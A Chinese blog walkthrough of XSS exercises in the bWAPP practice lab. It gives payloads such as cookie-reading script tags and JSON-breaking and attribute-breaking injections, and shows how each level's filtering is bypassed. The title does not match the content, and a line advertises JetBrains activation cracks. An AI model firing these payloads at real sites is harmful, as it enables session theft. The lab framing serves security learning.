高等数学解题神器app_ubuntu cp命令

高等数学解题神器app_ubuntu cp命令XSS在chrome上,需要先关闭xss保护反射型low对输入未做过滤$data=no_check($data);输入<script>alert(document.cookie)</script>middle输入校验functionxss_check_4($data){//addsla…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

XSS

在chrome上,需要先关闭xss保护
Alt text

反射型

low

对输入未做过滤

$data = no_check($data); 

输入<script>alert(document.cookie)</script>

Alt text
Alt text

middle

输入校验

function xss_check_4($data) { 
   

    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);

}

addslashes对’、”、\、NUL进行了编码,在其前面加上\,例如输入”会输出\”。
使用payload<script>alert(document.cookie)</script>仍可以正常成功。
Alt text

但是想要alert字符的话不会成功,因为引号被转义了。为了绕过转义,可以将<script>alert('test')</script>写为<script>alert(/test/)</script>

Alt text

测试成功后,我才发现在js中使用/包字符串好像和”“的作用是一样的,等有时间再细学下JS
Alt text

high

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  

    return htmlspecialchars($data, ENT_QUOTES, $encoding);

}

POST

和GET相同

STORE

low

POC<script>alert('hack')</script>

Alt text

middle and high

同上

change secret

经验不足,没有想到……

把hidden改为text可以出现隐藏的输入框

Alt text
Alt text

插入POC"><svg onload=alert(1)><"
Alt text

提交后页面HTML变为
Alt text

middle and high

删除了low中的提交点,改为了token验证。
Alt text

Store——User-Agent

low

这里会将HTTP Headers中的User-Agent作为日志中的User-Agent输出,修改其为js代码可以将其输出到浏览器上。

$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];

Alt text

middle

绕过addslashes

high

使用了htmlspecialchars

store——cookie

不知道怎么做……

Reflected (JSON)

low

这个,思路清奇啊,可以看到,关键代码是

$string = '{"movies":[{"response":"' . $title . '??? Sorry, we don&#039;t have that movie :("}]}';
<script>

    var JSONResponseString = '<?php echo $string ?>';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

把php语句替换后得到

<script>

    var JSONResponseString = '{"movies":[{"response":"' . $title . '??? Sorry, we don&#039;t have that movie :("}]}';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

一开始我以为是DOM型的,后来发现title在输出时被包裹在单引号了,似乎并不可以。网上查阅了一波大神思路后,发现是使用闭合json语句的方法。

POC

 "}]}';alert(1);</script>

此时html中出现了

<script>

    var JSONResponseString = '{"movies":[{"response":"' "}]}';alert(1);</script>'??? Sorry, we don&#039;t have that movie :("}]}';

    // var JSONResponse = eval ("(" + JSONResponseString + ")");
    var JSONResponse = JSON.parse(JSONResponseString);

    document.getElementById("result").innerHTML=JSONResponse.movies[0].response;

</script>

选择在第一行语句中直接闭合json语句,同时加上一个</script>闭合js代码,将后面的语句都变为无效语句。可以看到markdown已经很贴心的将无效的代码注释掉了。

middle and high

使用htmlspecialchars,安全

Reflected (AJAX/JSON)

不是很懂js,但是看样子在0和1等级的时候,可以eval执行我们的输入,但是

<?php if($_COOKIE["security_level"] == "2") { ?>
     JSONResponse = JSON.parse(xmlHttp.responseText);
<?php } else { ?>
       JSONResponse = eval("(" + xmlHttp.responseText + ")");
<?php } ?>

payload

<img src=x onerror=alert(1)>

or

<svg onload=alert(1)>

Reflected (Back Button)

low

终于有我会的了……

<p>Click the button to go to back to the previous page:

<input type=button value="Go back" onClick="document.location.href='http://localhost/bwapp/portal.php'">

</p>

可以看到这里onClick中值是可以改变的,将http头中的refer(表示目前的网页是从哪个网页跳转来到)改为

 "><script>alert(/1/)</script>

Alt text

后台代码中也表示出了是使用HTTP_REFERER来判断上一个网页是什么。

    <input type=button value="Go back" onClick="document.location.href='<?php echo isset($_SERVER["HTTP_REFERER"]) ? xss($_SERVER["HTTP_REFERER"]) : ""?>'">

Reflected (Eval)

从html中可知,这里会将我们传入的函数放入eval中执行

<script>

eval("document.write(Date())");

</script>

将Date()函数替换为我们要执行的函数,比如

alert(/1/)

也可使用闭合语句的方法

)"); alert(/1/)</script>

Reflected (HREF)

low

XSS位置,其中$name可以由我们输入

<td align="center"> <a href=xss_href-3.php?movie=<?php echo $row["id"]; ?>&name=<?php echo hpp($name);?>&action=vote>Vote</a></td>

闭合标签

""><script>alert(/hack/)</script> //

结果

<td align="center"> <a href=xss_href-3.php?movie=1&name=""><script>alert(/hack/)</script> //&action=vote>Vote</a></td>

midlle and high

使用urlencode()

Reflected (Login Form)

没找到可以xss的地方,用sql注入进去了
Alt text
Alt text

Reflected (PHP_SELF)

不懂这个要考什么

low

<script>alert(1)</script>

middle and hogh

Reflected (User-Agent)

User-Agent为注入点

结语

到这里差不多算结束了,只能说这个题目种类范围覆盖很全,但是质量确实很一般,很多题目都只是为了让我们知道有那一种的xss注入点,有可能还存在多个注入点的情况。在输入校验上,一般都是low不对输入进行编码,middle使用addslahes,high使用htmlspecialchars,一般只要找到注入点,这个题就算完成了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/190299.html原文链接:https://javaforall.net

(0)
上一篇 2026年2月23日 下午4:15
下一篇 2026年2月23日 下午4:43


相关推荐

  • 使用Proxmox搭建私有云平台

    使用Proxmox搭建私有云平台企业目前上云,有多种选择,那么对于中小企业,从成本和规模考虑,如何搭建自己的私有云环境,笔者这里根据自己的一个实践环境,尝试搭建一套小型私有云环境,功能并不完善,但基本能满足中小企业的需求。硬件环境准备环境的搭建,硬件成本是必须的,没有物理设备,那么巧妇难为无米之炊~~服务器设备:建议采购3台以上X86两路服务器,CPU配置根据需求,建议5218金牌。内存配置256G以上。配置SSD卡(3…

    2022年6月19日
    69
  • Eclipse设置jvm参数的三种方式

    Eclipse设置jvm参数的三种方式方式 1 修改 Elipse 运行 JRE 默认 JVM 参数打开 Eclipse 选择 WindowPrefer 在对话框左边的树上双击 Java 再双击 InstalledJRE 在右边选择前面有对勾的 JRE 再单击右边的 Edit 按钮 出现一个 EditJRE 的对话框 在其中的 DefaultVMArg 框中输入 Xms128m Xmx512m 这样设置 Java 拟虚机内存使用最小是 128M 最大是 512M 再单击 OK 方式 2 修改 Java 运行时参数右击

    2026年3月19日
    2
  • 什么是Ajax以及ajax请求的步骤[通俗易懂]

    什么是Ajax以及ajax请求的步骤[通俗易懂]什么是Ajax以及ajax请求的步骤1.Ajax是什么?AsynchronousJavaScript&XML。Ajax是web开发的一种技术。2.Ajax请求的步骤(1)创建`XMLHttpRequest`对象,也就是创建一个异步调用对象;(2)创建一个新的`HTTP`请求,并指定该`HTTP`请求的方式、`URL`及验证信息;(3)设置响应`HTTP`请求状…

    2022年5月17日
    32
  • Juniper发展史

    Juniper发展史

    2022年3月11日
    53
  • sql 存储过程中何时使用declare声明变量[通俗易懂]

    sql 存储过程中何时使用declare声明变量[通俗易懂]这个问题我从百度第二页才找得到答案,就从别人的答案自己仔细研究懂了,顺便整理了过来。原文链接:https://zhidao.baidu.com/question/245490659799230284.html如果把存储过程看作是批处理语句就好理解多了存储过程只不过是一个带着名称的SQL批处理语句,如果在整个过程中需要变量时就是可以声明,但该变量声明后只能存活在批处理(存储过程)的…

    2022年8月20日
    7
  • 大数据分析就业和发展前景_大数据将来的就业方向

    大数据分析就业和发展前景_大数据将来的就业方向一篇文章看懂大数据分析就业前景及职能定位

    2022年4月21日
    43

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号